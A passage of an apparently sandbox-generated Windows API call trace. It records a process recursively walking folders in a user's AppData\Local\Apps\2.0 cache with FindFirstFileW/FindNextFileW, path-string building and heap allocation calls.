ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 1 [0152.092] wcscmp (_String1="6NG60CXZ.9GJ", _String2=".") returned 1 [0152.092] wcscmp (_String1="6NG60CXZ.9GJ", _String2="..") returned 1 [0152.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202adfa0 [0152.092] wcscpy (in: _Dest=0x202adfa0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" [0152.092] wcscat (in: _Dest=0x202adfa0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\" [0152.092] wcscat (in: _Dest=0x202adfa0, _Source="6NG60CXZ.9GJ" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" [0152.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1073c0 [0152.092] wcscpy (in: _Dest=0x1073c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" [0152.092] wcscat (in: _Dest=0x1073c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\" [0152.092] wcscat (in: _Dest=0x1073c0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*" [0152.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99ba0 [0152.093] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*", lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ccd0 [0152.093] wcscmp (_String1=".", _String2=".") returned 0 [0152.093] FindNextFileW (in: hFindFile=0x1cd9ccd0, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.093] wcscmp (_String1="..", _String2=".") returned 1 [0152.093] wcscmp (_String1="..", _String2="..") returned 0 [0152.093] FindNextFileW (in: hFindFile=0x1cd9ccd0, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1 [0152.093] wcscmp (_String1="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", _String2=".") returned 1 [0152.093] wcscmp (_String1="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", _String2="..") returned 1 [0152.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x116) returned 0x167ca0 [0152.093] wcscpy (in: _Dest=0x167ca0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" [0152.093] wcscat (in: _Dest=0x167ca0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\" [0152.093] wcscat (in: _Dest=0x167ca0, _Source="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0152.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x1b7d3a20 [0152.094] wcscpy (in: _Dest=0x1b7d3a20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0152.094] wcscat (in: _Dest=0x1b7d3a20, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\" [0152.094] wcscat (in: _Dest=0x1b7d3a20, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*" [0152.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99930 [0152.094] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c670 [0152.127] wcscmp (_String1=".", _String2=".") returned 0 [0152.127] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.127] wcscmp (_String1="..", _String2=".") returned 1 [0152.127] wcscmp (_String1="..", _String2="..") returned 0 [0152.127] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0152.127] wcscmp (_String1="Data", _String2=".") returned 1 [0152.127] wcscmp (_String1="Data", _String2="..") returned 1 [0152.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x120) returned 0x1b7dab10 [0152.127] wcscpy (in: _Dest=0x1b7dab10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0152.127] wcscat (in: _Dest=0x1b7dab10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\" [0152.127] wcscat (in: _Dest=0x1b7dab10, _Source="Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data" [0152.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x124) returned 0x18db00 [0152.128] wcscpy (in: _Dest=0x18db00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data" [0152.128] wcscat (in: _Dest=0x18db00, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\" [0152.128] wcscat (in: _Dest=0x18db00, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*" [0152.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98d00 [0152.128] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*", lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c2b0 [0152.128] wcscmp (_String1=".", _String2=".") returned 0 [0152.128] FindNextFileW (in: hFindFile=0x1cd9c2b0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.128] wcscmp (_String1="..", _String2=".") returned 1 [0152.128] wcscmp (_String1="..", _String2="..") returned 0 [0152.128] FindNextFileW (in: hFindFile=0x1cd9c2b0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0152.129] FindClose (in: hFindFile=0x1cd9c2b0 | out: hFindFile=0x1cd9c2b0) returned 1 [0152.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98d00) returned 1 [0152.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x18db00) returned 1 [0152.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7dab10) returned 1 [0152.129] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0152.130] FindClose (in: hFindFile=0x1cd9c670 | out: hFindFile=0x1cd9c670) returned 1 [0152.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99930) returned 1 [0152.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0152.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167ca0) returned 1 [0152.130] FindNextFileW (in: hFindFile=0x1cd9ccd0, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 0 [0152.130] FindClose (in: hFindFile=0x1cd9ccd0 | out: hFindFile=0x1cd9ccd0) returned 1 [0152.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99ba0) returned 1 [0152.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1073c0) returned 1 [0152.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adfa0) returned 1 [0152.131] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 0 [0152.131] FindClose (in: hFindFile=0x1cd9ca90 | out: hFindFile=0x1cd9ca90) returned 1 [0152.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99e10) returned 1 [0152.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dc30) returned 1 [0152.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d870) returned 1 [0152.132] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 0 [0152.132] FindClose (in: hFindFile=0x1cd9c850 | out: hFindFile=0x1cd9c850) returned 1 [0152.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a080) returned 1 [0152.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868e40) returned 1 [0152.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420617b0) returned 1 [0152.133] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x20502050 | out: lpFindFileData=0x20502050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 1 [0152.133] wcscmp (_String1="DQQ19BCJ.JAX", _String2=".") returned 1 [0152.133] wcscmp (_String1="DQQ19BCJ.JAX", _String2="..") returned 1 [0152.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b86aaa0 [0152.133] wcscpy (in: _Dest=0x1b86aaa0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" [0152.133] wcscat (in: _Dest=0x1b86aaa0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\" [0152.133] wcscat (in: _Dest=0x1b86aaa0, _Source="DQQ19BCJ.JAX" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" [0152.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b5e0 [0152.133] wcscpy (in: _Dest=0x1b86b5e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" [0152.133] wcscat (in: _Dest=0x1b86b5e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\" [0152.133] wcscat (in: _Dest=0x1b86b5e0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*" [0152.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a080 [0152.134] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*", lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c850 [0152.134] wcscmp (_String1=".", _String2=".") returned 0 [0152.134] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.134] wcscmp (_String1="..", _String2=".") returned 1 [0152.134] wcscmp (_String1="..", _String2="..") returned 0 [0152.134] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 1 [0152.134] wcscmp (_String1="YVORLGOR.PNT", _String2=".") returned 1 [0152.134] wcscmp (_String1="YVORLGOR.PNT", _String2="..") returned 1 [0152.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202adfa0 [0152.134] wcscpy (in: _Dest=0x202adfa0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" [0152.134] wcscat (in: _Dest=0x202adfa0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS 